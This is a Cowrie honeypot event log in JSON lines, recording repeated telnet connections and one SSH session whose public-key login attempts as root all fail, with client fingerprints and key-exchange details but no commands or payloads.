{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44436,"dst_ip":"10.17.0.5","dst_port":23,"session":"c359b659e130","protocol":"telnet","message":"New connection: 192.119.13.58:44436 (10.17.0.5:23) [session: c359b659e130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:00.296362Z"}
{"eventid":"cowrie.session.closed","duration":45.79584884643555,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:01.378290Z","src_ip":"192.119.13.58","session":"0c433f877a14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37902,"dst_ip":"10.17.0.5","dst_port":23,"session":"85015f0b38e2","protocol":"telnet","message":"New connection: 192.119.13.58:37902 (10.17.0.5:23) [session: 85015f0b38e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:05.968135Z"}
{"eventid":"cowrie.session.closed","duration":34.11763620376587,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:09.349198Z","src_ip":"192.119.13.58","session":"ce0825d629e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33990,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba88fcb10601","protocol":"telnet","message":"New connection: 192.119.13.58:33990 (10.17.0.5:23) [session: ba88fcb10601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:12.329873Z"}
{"eventid":"cowrie.session.closed","duration":36.073325395584106,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:12.903736Z","src_ip":"192.119.13.58","session":"0ace383daace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44204,"dst_ip":"10.17.0.5","dst_port":23,"session":"68e42a2d2ea4","protocol":"telnet","message":"New connection: 192.119.13.58:44204 (10.17.0.5:23) [session: 68e42a2d2ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:28.696047Z"}
{"eventid":"cowrie.session.closed","duration":44.7789740562439,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:30.588266Z","src_ip":"192.119.13.58","session":"e173ed899f19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60210,"dst_ip":"10.17.0.5","dst_port":23,"session":"8587aded5be6","protocol":"telnet","message":"New connection: 192.119.13.58:60210 (10.17.0.5:23) [session: 8587aded5be6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:32.512547Z"}
{"eventid":"cowrie.session.closed","duration":39.73736763000488,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:32.623332Z","src_ip":"192.119.13.58","session":"05adcb4432bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38370,"dst_ip":"10.17.0.5","dst_port":23,"session":"81ea9e30cd68","protocol":"telnet","message":"New connection: 192.119.13.58:38370 (10.17.0.5:23) [session: 81ea9e30cd68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:34.062052Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38394,"dst_ip":"10.17.0.5","dst_port":23,"session":"848d1d416ee9","protocol":"telnet","message":"New connection: 192.119.13.58:38394 (10.17.0.5:23) [session: 848d1d416ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:34.066919Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44826,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2c03a40e729","protocol":"telnet","message":"New connection: 192.119.13.58:44826 (10.17.0.5:23) [session: e2c03a40e729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:35.749568Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50402,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c9577fc35a","protocol":"telnet","message":"New connection: 192.119.13.58:50402 (10.17.0.5:23) [session: 21c9577fc35a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.133987Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.221.241","src_port":57288,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bad65d40902","protocol":"ssh","message":"New connection: 148.113.221.241:57288 (10.17.0.5:22) [session: 3bad65d40902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.729338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.734698Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.753066Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"03:37:24:f3:e2:d5:f1:68:e2:04:20:0c:79:36:48:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaVe0epYG/o5iyPI85TSeH4X6rWViiD7Gidqjhqf6kKYjdv6I3wCDhPxT0arG/+NzM/aQWmvQQUINdCeatFQrZLHVX94s6y878dyznYOqZeiSsx0q3IxD2OuGIB8NUj45SXcsAoxzEYT90CEfpurdMg+Y5NM6H0+mg6oEGsrEEpEnJrOSQc8n2aGRsWp3JkMNEa9wD+/Q1+LVdPU07/A8uqdjvTP7IX/UgrQhpfzWNPc/ql9TlaBEMZpnLgI5uoMfCIuz3xnMyJj2um09mxK0pJfhIFc8tT/hRkOw/166nVxBASxk8IqevSAvvvyCVFrvSF+aylJ3TA/Qk5KXwXOfn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 03:37:24:f3:e2:d5:f1:68:e2:04:20:0c:79:36:48:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.824651Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"03:37:24:f3:e2:d5:f1:68:e2:04:20:0c:79:36:48:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaVe0epYG/o5iyPI85TSeH4X6rWViiD7Gidqjhqf6kKYjdv6I3wCDhPxT0arG/+NzM/aQWmvQQUINdCeatFQrZLHVX94s6y878dyznYOqZeiSsx0q3IxD2OuGIB8NUj45SXcsAoxzEYT90CEfpurdMg+Y5NM6H0+mg6oEGsrEEpEnJrOSQc8n2aGRsWp3JkMNEa9wD+/Q1+LVdPU07/A8uqdjvTP7IX/UgrQhpfzWNPc/ql9TlaBEMZpnLgI5uoMfCIuz3xnMyJj2um09mxK0pJfhIFc8tT/hRkOw/166nVxBASxk8IqevSAvvvyCVFrvSF+aylJ3TA/Qk5KXwXOfn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.828769Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f0:fc:b2:7f:b4:7e:79:f2:87:2f:21:ea:70:fd:e3:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe/GDB9PlTIQMA95i6bdX3L78PeBX4w8g66/a9jI3cjsXxnfp+KYnbX13YHDDQpWD8qQnlimScwnjRxV1iB8POiVsi1+NDiZd7cH9Rf2i2MF6cTLukMXhaas4Q4DV6FczbmHrskCeRDOS3EO64jh+YKtk7+vxxgxMKM7CWgXVs/Kqsyutxeq2JgpBPga8qYId70khCgGxepebJkOYcAy7utag6xGYDaGqgE6MTZVk3a45BdGzFSNO78S5KwS8NY/2VW9NdOQDeqh5Oqz2Mb/NaOrqgJSktGXWQQPJgSo0QXRVTG2TGfMtKLlGz6hFN7kgkGlc83u0EWW8bLAzqXx4P8chPmAlvY4cmAGliqLoWdXYXQDHiPvV1+5KWzOyEmo0Tg2pa8GWChD6soPREHnrDoSglu5v/A6tQunn3ZPD2cbMtPOVldj/VB3M1L6X2wY1XDXeUnYjZpyIVq9u1p0JgOlOlUp6H/svbZFPc3t0sBGaWfnFXaWUBXuIsPSKNjMc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f0:fc:b2:7f:b4:7e:79:f2:87:2f:21:ea:70:fd:e3:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.851356Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f0:fc:b2:7f:b4:7e:79:f2:87:2f:21:ea:70:fd:e3:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCe/GDB9PlTIQMA95i6bdX3L78PeBX4w8g66/a9jI3cjsXxnfp+KYnbX13YHDDQpWD8qQnlimScwnjRxV1iB8POiVsi1+NDiZd7cH9Rf2i2MF6cTLukMXhaas4Q4DV6FczbmHrskCeRDOS3EO64jh+YKtk7+vxxgxMKM7CWgXVs/Kqsyutxeq2JgpBPga8qYId70khCgGxepebJkOYcAy7utag6xGYDaGqgE6MTZVk3a45BdGzFSNO78S5KwS8NY/2VW9NdOQDeqh5Oqz2Mb/NaOrqgJSktGXWQQPJgSo0QXRVTG2TGfMtKLlGz6hFN7kgkGlc83u0EWW8bLAzqXx4P8chPmAlvY4cmAGliqLoWdXYXQDHiPvV1+5KWzOyEmo0Tg2pa8GWChD6soPREHnrDoSglu5v/A6tQunn3ZPD2cbMtPOVldj/VB3M1L6X2wY1XDXeUnYjZpyIVq9u1p0JgOlOlUp6H/svbZFPc3t0sBGaWfnFXaWUBXuIsPSKNjMc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.858804Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2f:4e:20:45:05:75:d9:d5:bb:66:81:be:05:c1:9a:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTSjIAZ4z7LA4Panhv1+VuBNGvwvnC5ujVDQCUWSpXpKahUMIBJ4Z1tAyJw+3MAbfsuGiU1oJqqCQlsHZ8lqQwfJ89W21dhzSOyhBJdW+ev/gRk1koMZdP759YlMXSSCmunzVh/FAE33O5jZhiX4m9z8CUeKOb+jSXG8Vj/0qPNsBNz4vjrf8+AkxS+lRqSrRypWQREIp6cl7AviT+Gib1QwbljL4mlOIK8lQgtRN4bdPiHepx7vymqszTPQdqiBGA1Bii8Ons9m52IM68burpdAnvIQADM5OguiP0qCvJhuhIGdpvB32DTvOWdg7Kc6zal7HsfWo62Lop8Pu/y4VZzqrGpXE6hQQR+5wgenchxiYRdezzOiOd4sQQuRHyKA7Fno/Uy5P+phBeqqfx1x1+VVnZIm30U0CGKd7UkhmTvRiJ8q3Itzm8+yFcUuuLzx61u3HFaR/VPmYsETuhKTMXTGffeSjiM/GuiKxbS12p743ia2AuwBLjmg0ai+ALd7U=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2f:4e:20:45:05:75:d9:d5:bb:66:81:be:05:c1:9a:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.879366Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2f:4e:20:45:05:75:d9:d5:bb:66:81:be:05:c1:9a:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTSjIAZ4z7LA4Panhv1+VuBNGvwvnC5ujVDQCUWSpXpKahUMIBJ4Z1tAyJw+3MAbfsuGiU1oJqqCQlsHZ8lqQwfJ89W21dhzSOyhBJdW+ev/gRk1koMZdP759YlMXSSCmunzVh/FAE33O5jZhiX4m9z8CUeKOb+jSXG8Vj/0qPNsBNz4vjrf8+AkxS+lRqSrRypWQREIp6cl7AviT+Gib1QwbljL4mlOIK8lQgtRN4bdPiHepx7vymqszTPQdqiBGA1Bii8Ons9m52IM68burpdAnvIQADM5OguiP0qCvJhuhIGdpvB32DTvOWdg7Kc6zal7HsfWo62Lop8Pu/y4VZzqrGpXE6hQQR+5wgenchxiYRdezzOiOd4sQQuRHyKA7Fno/Uy5P+phBeqqfx1x1+VVnZIm30U0CGKd7UkhmTvRiJ8q3Itzm8+yFcUuuLzx61u3HFaR/VPmYsETuhKTMXTGffeSjiM/GuiKxbS12p743ia2AuwBLjmg0ai+ALd7U=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.883758Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:e5:a2:c3:ef:60:46:08:82:a5:bf:26:fe:d7:09:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcOzSnRc/3XtmTXdCx3XoIvWwE8QxPOsar/I0ZtyBlXtB3tNnTQLoxNGQ5Hp+BtRUBd7xVYQqSWNG0BwJCfldzy1+E4zYwrwyuuka7JTiESOxyITfhEcWaYmmvJRoQbv6UzgQStRT4dTnQzj1EneB6X2ypcIcMtI/6s8deWpsue2L5H5JGD32FFgX34PoR6OF5P4OGm+4cf2DEjbWHe8YrS+zTqVGNDQdCOLtSbwAjTwqSs/cOipObar4dpIbXl6Q7ipZJj5greUWOdfm44yWEGn6wILthNaK7Wf1AnVu/tRlumUetfUPI7ckB6fVpnqKhS6kysmdcHksJ/NtqK5j+Zm2XqDNAQVs8DRtwzModuvPky6rV9dMMGQNf8XzLqe6OdHm8VUMdd4xIUFRga6HlkD6eRSajuE93YdiT7tMj3TCv8hfyX68Skri0+RB/S9Gc4qn+mN21rFIeghFRLkx3zQywa72MJUoQ4PK1/TTlwBFQawMUiq7zqiIGv21W4rs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:e5:a2:c3:ef:60:46:08:82:a5:bf:26:fe:d7:09:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.903644Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:e5:a2:c3:ef:60:46:08:82:a5:bf:26:fe:d7:09:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDcOzSnRc/3XtmTXdCx3XoIvWwE8QxPOsar/I0ZtyBlXtB3tNnTQLoxNGQ5Hp+BtRUBd7xVYQqSWNG0BwJCfldzy1+E4zYwrwyuuka7JTiESOxyITfhEcWaYmmvJRoQbv6UzgQStRT4dTnQzj1EneB6X2ypcIcMtI/6s8deWpsue2L5H5JGD32FFgX34PoR6OF5P4OGm+4cf2DEjbWHe8YrS+zTqVGNDQdCOLtSbwAjTwqSs/cOipObar4dpIbXl6Q7ipZJj5greUWOdfm44yWEGn6wILthNaK7Wf1AnVu/tRlumUetfUPI7ckB6fVpnqKhS6kysmdcHksJ/NtqK5j+Zm2XqDNAQVs8DRtwzModuvPky6rV9dMMGQNf8XzLqe6OdHm8VUMdd4xIUFRga6HlkD6eRSajuE93YdiT7tMj3TCv8hfyX68Skri0+RB/S9Gc4qn+mN21rFIeghFRLkx3zQywa72MJUoQ4PK1/TTlwBFQawMUiq7zqiIGv21W4rs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.907716Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:f4:01:16:7e:6e:b8:a2:71:36:a1:9d:d5:d1:54:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7s1YUeoXHDIMnGmGHP8EKww5xvOKOSvZFov/HYQIDzrCKT80O9gMj/7e3ssVr9FC4ng9czhbbsU4Xvu/hgofXD9/FYPGaF2zMEbaTXjkc5Snk/O9pl8XzBiJ+kAA5WWQ+XOPQCncybWOGXT3iDAQADfF2B4X6sv5q61delPKV6eVIc6urEYqGzeGcaq9RPuuUmCsEpHkklnyzhV5PvRmGlePw0xnXIft5wW8iV7ETCAW7tz3ANleJ7d23FwAXu1FfgA2ZTd3XaODYuvUotOeRBsCJVFn23vnaJVDfxId77/08FIV2xmFtV/DBRyLyWvyF4k2QzC+2LQ3NbKucXq9RTbGecEQL5omp/XYIggkAw8Ul3b1J/+Fsswlb3zNbopz+vA8DFJyBXve3zk8QxsnxXQoMT2CNB1cFNsD6Ew0gUYNtSSYewK/uzvLV5vT11a+XN0AguvXwKPRVRh+AQiQLlNyYtEdHl4HerVK/mhDo6I4vwNCmEjEo+6aA3nw4AVs=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:f4:01:16:7e:6e:b8:a2:71:36:a1:9d:d5:d1:54:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.927874Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:f4:01:16:7e:6e:b8:a2:71:36:a1:9d:d5:d1:54:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC7s1YUeoXHDIMnGmGHP8EKww5xvOKOSvZFov/HYQIDzrCKT80O9gMj/7e3ssVr9FC4ng9czhbbsU4Xvu/hgofXD9/FYPGaF2zMEbaTXjkc5Snk/O9pl8XzBiJ+kAA5WWQ+XOPQCncybWOGXT3iDAQADfF2B4X6sv5q61delPKV6eVIc6urEYqGzeGcaq9RPuuUmCsEpHkklnyzhV5PvRmGlePw0xnXIft5wW8iV7ETCAW7tz3ANleJ7d23FwAXu1FfgA2ZTd3XaODYuvUotOeRBsCJVFn23vnaJVDfxId77/08FIV2xmFtV/DBRyLyWvyF4k2QzC+2LQ3NbKucXq9RTbGecEQL5omp/XYIggkAw8Ul3b1J/+Fsswlb3zNbopz+vA8DFJyBXve3zk8QxsnxXQoMT2CNB1cFNsD6Ew0gUYNtSSYewK/uzvLV5vT11a+XN0AguvXwKPRVRh+AQiQLlNyYtEdHl4HerVK/mhDo6I4vwNCmEjEo+6aA3nw4AVs=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.932551Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:37.952774Z","src_ip":"148.113.221.241","session":"3bad65d40902","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.46982192993164,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:39.792844Z","src_ip":"192.119.13.58","session":"dfd4617f2f3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7b1f801613a","protocol":"telnet","message":"New connection: 192.119.13.58:43286 (10.17.0.5:23) [session: e7b1f801613a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:42.769687Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43392,"dst_ip":"10.17.0.5","dst_port":23,"session":"669edee6a851","protocol":"telnet","message":"New connection: 192.119.13.58:43392 (10.17.0.5:23) [session: 669edee6a851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:42.791831Z"}
{"eventid":"cowrie.session.closed","duration":44.077630043029785,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:44.108099Z","src_ip":"192.119.13.58","session":"7f9c958db50f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.316216707229614,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:48.284224Z","src_ip":"192.119.13.58","session":"85015f0b38e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.280691623687744,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:48.610386Z","src_ip":"192.119.13.58","session":"ba88fcb10601","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39612,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefa289d877b","protocol":"telnet","message":"New connection: 192.119.13.58:39612 (10.17.0.5:23) [session: eefa289d877b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:49.145632Z"}
{"eventid":"cowrie.session.closed","duration":51.302584409713745,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:51.598793Z","src_ip":"192.119.13.58","session":"c359b659e130","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34426,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6804b9f6de","protocol":"telnet","message":"New connection: 192.119.13.58:34426 (10.17.0.5:23) [session: 2c6804b9f6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:54.968232Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35880,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f1533090c9a","protocol":"telnet","message":"New connection: 192.119.13.58:35880 (10.17.0.5:23) [session: 3f1533090c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:34:55.300529Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39716,"dst_ip":"10.17.0.5","dst_port":23,"session":"59a1429be577","protocol":"telnet","message":"New connection: 192.119.13.58:39716 (10.17.0.5:23) [session: 59a1429be577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:03.157398Z"}
{"eventid":"cowrie.session.closed","duration":38.18232464790344,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:12.244214Z","src_ip":"192.119.13.58","session":"81ea9e30cd68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.3964958190918,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:12.463332Z","src_ip":"192.119.13.58","session":"848d1d416ee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.670645236968994,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:17.183093Z","src_ip":"192.119.13.58","session":"8587aded5be6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.901978731155396,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:19.035803Z","src_ip":"192.119.13.58","session":"21c9577fc35a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.61853766441345,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:21.314455Z","src_ip":"192.119.13.58","session":"68e42a2d2ea4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":32858,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af1c3492380","protocol":"ssh","message":"New connection: 80.94.92.184:32858 (10.17.0.5:22) [session: 1af1c3492380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T15:35:21.895241Z"}
